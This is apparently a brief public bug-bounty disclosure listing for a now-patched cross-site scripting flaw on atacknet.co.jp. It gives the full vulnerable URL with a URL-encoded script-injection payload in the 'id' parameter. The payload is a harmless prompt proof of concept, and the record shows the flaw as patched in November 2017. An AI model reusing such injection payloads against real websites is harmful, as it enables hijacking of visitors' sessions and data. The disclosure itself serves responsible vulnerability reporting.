atacknet.co.jp XSS vulnerability

Vulnerable URL: http://www.atacknet.co.jp/certificate/certificate.php?id=1377%22%3E%3Csvg%3E%3Cscript%3E/%3C@/%3Eprompt/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:49 GMT Vulnerability type:| XSS Vulnerability...